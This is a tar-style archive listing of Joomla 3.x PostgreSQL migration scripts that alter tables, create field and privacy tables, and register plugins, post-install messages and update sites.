com_admin/sql/updates/postgresql/3.7.0-2017-01-08.sql000060400000001442152455305270015366 0ustar00-- Normalize ucm_content_table default values.
ALTER TABLE "#__ucm_content" ALTER COLUMN "core_title" SET DEFAULT '';

--
-- The following statements have to be disabled because they conflict with
-- a later change added with Joomla! 3.9.16, see file 3.9.16-2020-02-15.sql
--
-- ALTER TABLE "#__ucm_content" ALTER COLUMN "core_body" SET DEFAULT '';
-- ALTER TABLE "#__ucm_content" ALTER COLUMN "core_params" SET DEFAULT '';
-- ALTER TABLE "#__ucm_content" ALTER COLUMN "core_metadata" SET DEFAULT '';
-- ALTER TABLE "#__ucm_content" ALTER COLUMN "core_images" SET DEFAULT '';
-- ALTER TABLE "#__ucm_content" ALTER COLUMN "core_urls" SET DEFAULT '';
-- ALTER TABLE "#__ucm_content" ALTER COLUMN "core_metakey" SET DEFAULT '';
-- ALTER TABLE "#__ucm_content" ALTER COLUMN "core_metadesc" SET DEFAULT '';
com_admin/sql/updates/postgresql/3.8.9-2018-06-19.sql000060400000000152152455305270015405 0ustar00-- Enable Sample Data Module.
UPDATE "#__extensions" SET "enabled" = '1' WHERE "name" = 'mod_sampledata';
com_admin/sql/updates/postgresql/3.9.0-2018-05-02.sql000060400000002044152455305270015366 0ustar00INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(35, 0, 'com_privacy', 'component', 'com_privacy', '', 1, 1, 1, 1, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0);

CREATE TABLE "#__privacy_requests" (
  "id" serial NOT NULL,
  "email" varchar(100) DEFAULT '' NOT NULL,
  "requested_at" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "status" smallint DEFAULT 0 NOT NULL,
  "request_type" varchar(25) DEFAULT '' NOT NULL,
  "confirm_token" varchar(100) DEFAULT '' NOT NULL,
  "confirm_token_created_at" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "checked_out" integer DEFAULT 0 NOT NULL,
  "checked_out_time" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  PRIMARY KEY ("id")
);
CREATE INDEX "#__privacy_requests_idx_checked_out" ON "#__privacy_requests" ("checked_out");
com_admin/sql/updates/postgresql/3.5.0-2016-03-01.sql000060400000000624152455305270015357 0ustar00ALTER TABLE "#__redirect_links" DROP CONSTRAINT "#__redirect_links_idx_link_old";
ALTER TABLE "#__redirect_links" ALTER COLUMN "old_url" TYPE character varying(2048);
ALTER TABLE "#__redirect_links" ALTER COLUMN "new_url" TYPE character varying(2048);
ALTER TABLE "#__redirect_links" ALTER COLUMN "referer" TYPE character varying(2048);
CREATE INDEX "#__idx_link_old" ON "#__redirect_links" ("old_url");
com_admin/sql/updates/postgresql/3.4.0-2014-12-03.sql000060400000000244152455305270015354 0ustar00UPDATE "#__extensions" SET "protected" = '0' WHERE "name" = 'plg_editors-xtd_article' AND "type" = 'plugin' AND "element" = 'article' AND "folder" = 'editors-xtd';
com_admin/sql/updates/postgresql/3.4.0-2014-10-20.sql000060400000000070152455305270015346 0ustar00DELETE FROM "#__extensions" WHERE "extension_id" = 100;
com_admin/sql/updates/postgresql/3.10.0-2021-05-28.sql000060400000000564152455305270015445 0ustar00INSERT INTO "#__extensions" ("package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(0, 'plg_quickicon_eos310', 'plugin', 'eos310', 'quickicon', 0, 1, 1, 0, '', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.0.0.sql000060400000000072152455305270014323 0ustar00-- Placeholder file for database changes for version 3.0.0com_admin/sql/updates/postgresql/3.2.2-2014-01-08.sql000060400000000564152455305270015364 0ustar00INSERT INTO "#__extensions" ("extension_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(403, 'plg_content_contact', 'plugin', 'contact', 'content', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 1, 0);
com_admin/sql/updates/postgresql/3.7.0-2016-09-29.sql000060400000000777152455305270015412 0ustar00INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "action_file", "action", "condition_file", "condition_method", "version_introduced", "enabled")
VALUES
(700, 'COM_CPANEL_MSG_JOOMLA40_PRE_CHECKS_TITLE', 'COM_CPANEL_MSG_JOOMLA40_PRE_CHECKS_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/joomla40checks.php', 'admin_postinstall_joomla40checks_condition', '3.7.0', 1);
com_admin/sql/updates/postgresql/3.9.0-2018-07-10.sql000060400000000346152455305270015372 0ustar00INSERT INTO "#__action_log_config" ("id", "type_title", "type_alias", "id_holder", "title_holder", "table_name", "text_prefix")
	VALUES (19, 'application_config', 'com_config.application', '', 'name', '', 'PLG_ACTIONLOG_JOOMLA');
com_admin/sql/updates/postgresql/3.9.0-2018-06-02.sql000060400000001535152455305270015373 0ustar00ALTER TABLE "#__content" ADD COLUMN "note" VARCHAR(255) NOT NULL DEFAULT '';

UPDATE "#__content_types" SET "field_mappings" = 
'{"common":{"core_content_item_id":"id","core_title":"title","core_state":"state","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"introtext", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"attribs", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"urls", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"asset_id", "note":"note"}, "special":{"fulltext":"fulltext"}}' WHERE "type_alias" = 'com_content.article';
com_admin/sql/updates/postgresql/3.8.2-2017-10-14.sql000060400000000156152455305270015367 0ustar00--
-- Add index for alias check #__content
--

CREATE INDEX "#__content_idx_alias" ON "#__content" ("alias");
com_admin/sql/updates/postgresql/3.10.0-2020-08-10.sql000060400000000517152455305270015434 0ustar00--
-- These database columns are not used in Joomla 3.10 but will be used in Joomla 4.
-- They are added to 3.10 because otherwise the update to 4 will fail.
--
ALTER TABLE "#__template_styles" ADD COLUMN "inheritable" smallint NOT NULL DEFAULT 0;
ALTER TABLE "#__template_styles" ADD COLUMN "parent" character varying(50) DEFAULT '';
com_admin/sql/updates/postgresql/3.4.0-2015-01-21.sql000060400000000577152455305270015364 0ustar00INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "action_file", "action", "condition_file", "condition_method", "version_introduced", "enabled") VALUES
(700, 'COM_CPANEL_MSG_ROBOTS_TITLE', 'COM_CPANEL_MSG_ROBOTS_BODY', '', 'com_cpanel', 1, 'message', '', '', '', '', '3.3.0', 1);com_admin/sql/updates/postgresql/3.10.7-2022-02-20.sql000060400000000152152455305270015433 0ustar00DELETE FROM "#__postinstall_messages" WHERE "title_key" = 'COM_ADMIN_POSTINSTALL_MSG_FLOC_BLOCKER_TITLE';
com_admin/sql/updates/postgresql/3.9.7-2019-04-26.sql000060400000000522152455305270015402 0ustar00UPDATE "#__content_types" SET "content_history_options" = REPLACE("content_history_options", '\"ignoreChanges\":[\"modified_by\", \"modified\", \"checked_out\", \"checked_out_time\", \"version\", \"hits\"]', '\"ignoreChanges\":[\"modified_by\", \"modified\", \"checked_out\", \"checked_out_time\", \"version\", \"hits\", \"ordering\"]');
com_admin/sql/updates/postgresql/3.5.0-2015-11-04.sql000060400000000730152455305270015356 0ustar00DELETE FROM "#__menu" WHERE "title" = 'com_messages_read' AND "client_id" = 1;

INSERT INTO "#__extensions" ("extension_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(452, 'plg_system_updatenotification', 'plugin', 'updatenotification', 'system', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.0.3.sql000060400000000074152455305270014330 0ustar00ALTER TABLE "#__associations" ALTER COLUMN id TYPE integer;
com_admin/sql/updates/postgresql/3.9.0-2018-10-21.sql000060400000000611152455305270015361 0ustar00INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(495, 0, 'plg_privacy_consents', 'plugin', 'consents', 'privacy', 0, 1, 1, 0, '', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.4.0-2014-09-16.sql000060400000000460152455305270015366 0ustar00ALTER TABLE "#__redirect_links" ADD COLUMN "header" INTEGER DEFAULT 301 NOT NULL;
--
-- The following statement has to be disabled because it conflicts with
-- a later change added with Joomla! 3.5.0 for long URLs in this table
--
-- ALTER TABLE "#__redirect_links" ALTER COLUMN "new_url" DROP NOT NULL;
com_admin/sql/updates/postgresql/3.6.0-2016-04-09.sql000060400000000171152455305270015366 0ustar00--
-- Add ACL check for to #__menu_types
--

ALTER TABLE "#__menu_types" ADD COLUMN "asset_id" bigint DEFAULT 0 NOT NULL;com_admin/sql/updates/postgresql/3.9.0-2018-05-19.sql000060400000000611152455305270015374 0ustar00INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(481, 0, 'plg_fields_repeatable', 'plugin', 'repeatable', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.7.0-2016-08-29.sql000060400000013042152455305270015376 0ustar00--
-- Table: #__fields
--
CREATE TABLE "#__fields" (
  "id" serial NOT NULL,
  "asset_id" bigint DEFAULT 0 NOT NULL,
  "context" varchar(255) DEFAULT '' NOT NULL,
  "group_id" bigint DEFAULT 0 NOT NULL,
  "title" varchar(255) DEFAULT '' NOT NULL,
  "name" varchar(255) DEFAULT '' NOT NULL,
  "label" varchar(255) DEFAULT '' NOT NULL,
  "default_value" text,
  "type" varchar(255) DEFAULT 'text' NOT NULL,
  "note" varchar(255) DEFAULT '' NOT NULL,
  "description" text,
  "state" smallint DEFAULT 0 NOT NULL,
  "required" smallint DEFAULT 0 NOT NULL,
  "checked_out" integer DEFAULT 0 NOT NULL,
  "checked_out_time" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "ordering" bigint DEFAULT 0 NOT NULL,
  "params" text,
  "fieldparams" text,
  "language" varchar(7) DEFAULT '' NOT NULL,
  "created_time" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "created_user_id" bigint DEFAULT 0 NOT NULL,
  "modified_time" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "modified_by" bigint DEFAULT 0 NOT NULL,
  "access" bigint DEFAULT 0 NOT NULL,
  PRIMARY KEY ("id")
);
CREATE INDEX "#__fields_idx_checked_out" ON "#__fields" ("checked_out");
CREATE INDEX "#__fields_idx_state" ON "#__fields" ("state");
CREATE INDEX "#__fields_idx_created_user_id" ON "#__fields" ("created_user_id");
CREATE INDEX "#__fields_idx_access" ON "#__fields" ("access");
CREATE INDEX "#__fields_idx_context" ON "#__fields" ("context");
CREATE INDEX "#__fields_idx_language" ON "#__fields" ("language");

--
-- Table: #__fields_categories
--
CREATE TABLE "#__fields_categories" (
  "field_id" bigint DEFAULT 0 NOT NULL,
  "category_id" bigint DEFAULT 0 NOT NULL,
  PRIMARY KEY ("field_id", "category_id")
);

--
-- Table: #__fields_groups
--
CREATE TABLE "#__fields_groups" (
  "id" serial NOT NULL,
  "asset_id" bigint DEFAULT 0 NOT NULL,
  "context" varchar(255) DEFAULT '' NOT NULL,
  "title" varchar(255) DEFAULT '' NOT NULL,
  "note" varchar(255) DEFAULT '' NOT NULL,
  "description" text,
  "state" smallint DEFAULT 0 NOT NULL,
  "checked_out" integer DEFAULT 0 NOT NULL,
  "checked_out_time" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "ordering" bigint DEFAULT 0 NOT NULL,
  "language" varchar(7) DEFAULT '' NOT NULL,
  "created" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "created_by" bigint DEFAULT 0 NOT NULL,
  "modified" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL,
  "modified_by" bigint DEFAULT 0 NOT NULL,
  "access" bigint DEFAULT 0 NOT NULL,
  PRIMARY KEY ("id")
);
CREATE INDEX "#__fields_groups_idx_checked_out" ON "#__fields_groups" ("checked_out");
CREATE INDEX "#__fields_groups_idx_state" ON "#__fields_groups" ("state");
CREATE INDEX "#__fields_groups_idx_created_by" ON "#__fields_groups" ("created_by");
CREATE INDEX "#__fields_groups_idx_access" ON "#__fields_groups" ("access");
CREATE INDEX "#__fields_groups_idx_context" ON "#__fields_groups" ("context");
CREATE INDEX "#__fields_groups_idx_language" ON "#__fields_groups" ("language");

--
-- Table: #__fields_values
--
CREATE TABLE "#__fields_values" (
"field_id" bigint DEFAULT 0 NOT NULL,
"item_id" varchar(255) DEFAULT '' NOT NULL,
"value" text
);
CREATE INDEX "#__fields_values_idx_field_id" ON "#__fields_values" ("field_id");
CREATE INDEX "#__fields_values_idx_item_id" ON "#__fields_values" ("item_id");

INSERT INTO "#__extensions" ("extension_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(33, 'com_fields', 'component', 'com_fields', '', 1, 1, 1, 1, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(461, 'plg_system_fields', 'plugin', 'fields', 'system', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(462, 'plg_fields_calendar', 'plugin', 'calendar', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(463, 'plg_fields_checkboxes', 'plugin', 'checkboxes', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(464, 'plg_fields_color', 'plugin', 'color', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(465, 'plg_fields_editor', 'plugin', 'editor', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(466, 'plg_fields_imagelist', 'plugin', 'imagelist', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(467, 'plg_fields_integer', 'plugin', 'integer', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(468, 'plg_fields_list', 'plugin', 'list', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(469, 'plg_fields_media', 'plugin', 'media', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(470, 'plg_fields_radio', 'plugin', 'radio', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(471, 'plg_fields_sql', 'plugin', 'sql', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(472, 'plg_fields_text', 'plugin', 'text', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(473, 'plg_fields_textarea', 'plugin', 'textarea', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(474, 'plg_fields_url', 'plugin', 'url', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(475, 'plg_fields_user', 'plugin', 'user', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0),
(476, 'plg_fields_usergrouplist', 'plugin', 'usergrouplist', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0);

com_admin/sql/updates/postgresql/3.3.6-2014-09-30.sql000060400000000727152455305270015375 0ustar00INSERT INTO "#__update_sites" ("name", "type", "location", "enabled") VALUES
('Joomla! Update Component Update Site', 'extension', 'https://update.joomla.org/core/extensions/com_joomlaupdate.xml', 1);

INSERT INTO "#__update_sites_extensions" ("update_site_id", "extension_id") VALUES
((SELECT "update_site_id" FROM "#__update_sites" WHERE "name" = 'Joomla! Update Component Update Site'), (SELECT "extension_id" FROM "#__extensions" WHERE "name" = 'com_joomlaupdate'));
com_admin/sql/updates/postgresql/3.3.0-2014-02-16.sql000060400000000244152455305270015356 0ustar00ALTER TABLE "#__users" ADD COLUMN "requireReset" smallint DEFAULT 0;
COMMENT ON COLUMN "#__users"."requireReset" IS 'Require user to reset password on next login';
com_admin/sql/updates/postgresql/3.7.0-2016-11-04.sql000060400000000101152455305270015351 0ustar00ALTER TABLE "#__extensions" ALTER COLUMN "enabled" SET DEFAULT 0;com_admin/sql/updates/postgresql/3.9.0-2018-06-14.sql000060400000001022152455305270015365 0ustar00INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "action_file", "action", "condition_file", "condition_method", "version_introduced", "enabled") VALUES
(700, 'COM_ACTIONLOGS_POSTINSTALL_TITLE', 'COM_ACTIONLOGS_POSTINSTALL_BODY', '', 'com_actionlogs', 1, 'message', '', '', '', '', '3.9.0', 1),
(700, 'COM_PRIVACY_POSTINSTALL_TITLE', 'COM_PRIVACY_POSTINSTALL_BODY', '', 'com_privacy', 1, 'message', '', '', '', '', '3.9.0', 1);com_admin/sql/updates/postgresql/3.9.0-2018-06-13.sql000060400000000625152455305270015374 0ustar00INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(488, 0, 'plg_quickicon_privacycheck', 'plugin', 'privacycheck', 'quickicon', 0, 1, 1, 0, '', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.9.10-2019-07-09.sql000060400000000226152455305270015461 0ustar00ALTER TABLE "#__template_styles" ALTER COLUMN "home" TYPE character varying(7);
ALTER TABLE "#__template_styles" ALTER COLUMN "home" SET DEFAULT '0';
com_admin/sql/updates/postgresql/3.9.22-2020-09-16.sql000060400000000546152455305270015461 0ustar00INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "version_introduced", "enabled")
VALUES
(700, 'COM_ADMIN_POSTINSTALL_MSG_HTACCESS_AUTOINDEX_TITLE', 'COM_ADMIN_POSTINSTALL_MSG_HTACCESS_AUTOINDEX_DESCRIPTION', '', 'com_admin', 1, 'message', '3.9.22', 1);
com_admin/sql/updates/postgresql/3.7.0-2017-02-17.sql000060400000001052152455305270015364 0ustar00-- Normalize contact_details table default values.
ALTER TABLE "#__contact_details" ALTER COLUMN "name" DROP DEFAULT;
ALTER TABLE "#__contact_details" ALTER COLUMN "alias" DROP DEFAULT;
ALTER TABLE "#__contact_details" ALTER COLUMN "sortname1" SET DEFAULT '';
ALTER TABLE "#__contact_details" ALTER COLUMN "sortname2" SET DEFAULT '';
ALTER TABLE "#__contact_details" ALTER COLUMN "sortname3" SET DEFAULT '';
ALTER TABLE "#__contact_details" ALTER COLUMN "language" DROP DEFAULT;
ALTER TABLE "#__contact_details" ALTER COLUMN "xreference" SET DEFAULT '';
com_admin/sql/updates/postgresql/3.1.4.sql000060400000000554152455305270014335 0ustar00INSERT INTO "#__extensions" ("extension_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(104, 'IDNA Convert', 'library', 'idna_convert', '', 0, 1, 1, 1, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.10.7-2022-03-18.sql000060400000000123152455305270015441 0ustar00ALTER TABLE "#__users" ADD COLUMN "authProvider" varchar(100) DEFAULT '' NOT NULL;
com_admin/sql/updates/postgresql/3.1.3.sql000060400000000072152455305270014327 0ustar00# Placeholder file for database changes for version 3.1.3
com_admin/sql/updates/postgresql/3.9.3-2019-02-07.sql000060400000000745152455305270015402 0ustar00INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "action_file", "action", "condition_file", "condition_method", "version_introduced", "enabled")
VALUES
(700, 'COM_CPANEL_MSG_ADDNOSNIFF_TITLE', 'COM_CPANEL_MSG_ADDNOSNIFF_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/addnosniff.php', 'admin_postinstall_addnosniff_condition', '3.9.3', 1);
com_admin/sql/updates/postgresql/3.5.0-2015-11-05.sql000060400000001552152455305270015362 0ustar00INSERT INTO "#__extensions" ("extension_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(454, 'plg_system_stats', 'plugin', 'stats', 'system', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0);

INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "action_file", "action", "condition_file", "condition_method", "version_introduced", "enabled") VALUES
(700, 'COM_CPANEL_MSG_STATS_COLLECTION_TITLE', 'COM_CPANEL_MSG_STATS_COLLECTION_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/statscollection.php', 'admin_postinstall_statscollection_condition', '3.5.0', 1);
com_admin/sql/updates/postgresql/3.0.2.sql000060400000000071152455305270014324 0ustar00# Placeholder file for database changes for version 3.0.2com_admin/sql/updates/postgresql/3.4.0-2014-09-01.sql000060400000001347152455305270015365 0ustar00INSERT INTO "#__extensions" ("extension_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(801, 'weblinks', 'package', 'pkg_weblinks', '', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0);

INSERT INTO "#__update_sites" ("name", "type", "location", "enabled") VALUES
('Weblinks Update Site', 'extension', 'https://raw.githubusercontent.com/joomla-extensions/weblinks/master/manifest.xml', 1);

INSERT INTO "#__update_sites_extensions" ("update_site_id", "extension_id") VALUES
((SELECT "update_site_id" FROM "#__update_sites" WHERE "name" = 'Weblinks Update Site'), 801);
com_admin/sql/updates/postgresql/3.7.0-2016-10-01.sql000060400000000574152455305270015363 0ustar00INSERT INTO "#__extensions" ("extension_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(460, 'plg_editors-xtd_contact', 'plugin', 'contact', 'editors-xtd', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.6.0-2016-06-01.sql000060400000000125152455305270015357 0ustar00UPDATE "#__extensions" SET "protected" = 1, "enabled" = 1 WHERE "name" = 'com_ajax';
com_admin/sql/updates/postgresql/3.6.3-2016-10-04.sql000060400000000570152455305270015364 0ustar00ALTER TABLE "#__finder_links" ALTER COLUMN "title" TYPE character varying(400);
ALTER TABLE "#__finder_links" ALTER COLUMN "description" TYPE text;
--
-- The following statement has to be disabled because it conflicts with
-- a later change added with Joomla! 3.9.16, see file 3.9.16-2020-02-15.sql
--
-- ALTER TABLE "#__finder_links" ALTER COLUMN "description" SET NOT NULL;
com_admin/sql/updates/postgresql/3.7.0-2016-11-21.sql000060400000000200152455305270015350 0ustar00-- Replace language image UNIQUE index for a normal INDEX.
ALTER TABLE "#__languages" DROP CONSTRAINT "#__languages_idx_image";
com_admin/sql/updates/postgresql/3.7.0-2017-04-10.sql000060400000001144152455305270015361 0ustar00INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "action_file", "action", "condition_file", "condition_method", "version_introduced", "enabled")
VALUES
(700, 'TPL_HATHOR_MESSAGE_POSTINSTALL_TITLE', 'TPL_HATHOR_MESSAGE_POSTINSTALL_BODY', 'TPL_HATHOR_MESSAGE_POSTINSTALL_ACTION', 'tpl_hathor', 1, 'action', 'admin://templates/hathor/postinstall/hathormessage.php', 'hathormessage_postinstall_action', 'admin://templates/hathor/postinstall/hathormessage.php', 'hathormessage_postinstall_condition', '3.7.0', 1);com_admin/sql/updates/postgresql/3.9.0-2018-07-11.sql000060400000000615152455305270015372 0ustar00INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(493, 0, 'plg_privacy_actionlogs', 'plugin', 'actionlogs', 'privacy', 0, 1, 1, 0, '', '{}', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.9.8-2019-06-11.sql000060400000000102152455305270015371 0ustar00UPDATE "#__users" SET "params" = REPLACE("params", '",,"', '","');com_admin/sql/updates/postgresql/3.7.0-2017-04-19.sql000060400000000247152455305270015375 0ustar00-- Set integer field default values.
UPDATE "#__extensions" SET "params" = '{"multiple":"0","first":"1","last":"100","step":"1"}' WHERE "name" = 'plg_fields_integer';
com_admin/sql/updates/postgresql/3.7.0-2017-01-31.sql000060400000000562152455305270015364 0ustar00INSERT INTO "#__extensions" ("extension_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(477, 'plg_content_fields', 'plugin', 'fields', 'content', 0, 1, 1, 0, '', '', '', '', 0, '1970-01-01 00:00:00', 0, 0);
com_admin/sql/updates/postgresql/3.1.2.sql000060400000021415152455305270014332 0ustar00UPDATE "#__content_types" SET "table" = '{"special":{"dbtable":"#__content","key":"id","type":"Content","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE "type_title" = 'Article';
UPDATE "#__content_types" SET "table" = '{"special":{"dbtable":"#__contact_details","key":"id","type":"Contact","prefix":"ContactTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE "type_title" = 'Contact';
UPDATE "#__content_types" SET "table" = '{"special":{"dbtable":"#__newsfeeds","key":"id","type":"Newsfeed","prefix":"NewsfeedsTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE "type_title" = 'Newsfeed';
UPDATE "#__content_types" SET "table" = '{"special":{"dbtable":"#__users","key":"id","type":"User","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE "type_title" = 'User';
UPDATE "#__content_types" SET "table" = '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE "type_title" = 'Article Category';
UPDATE "#__content_types" SET "table" = '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE "type_title" = 'Contact Category';
UPDATE "#__content_types" SET "table" = '{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE "type_title" = 'Newsfeeds Category';
UPDATE "#__content_types" SET "table" = '{"special":{"dbtable":"#__tags","key":"tag_id","type":"Tag","prefix":"TagsTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}' WHERE "type_title" = 'Tag';
UPDATE "#__content_types" SET "field_mappings" = '{"common":{"core_content_item_id":"id","core_title":"title","core_state":"state","core_alias":"alias","core_created_time":"created","core_modified_time":"modified","core_body":"introtext", "core_hits":"hits","core_publish_up":"publish_up","core_publish_down":"publish_down","core_access":"access", "core_params":"attribs", "core_featured":"featured", "core_metadata":"metadata", "core_language":"language", "core_images":"images", "core_urls":"urls", "core_version":"version", "core_ordering":"ordering", "core_metakey":"metakey", "core_metadesc":"metadesc", "core_catid":"catid", "core_xreference":"xreference", "asset_id":"asset_id"}, "special": {"fulltext":"fulltext"}}' WHERE "type_title" = 'Article';
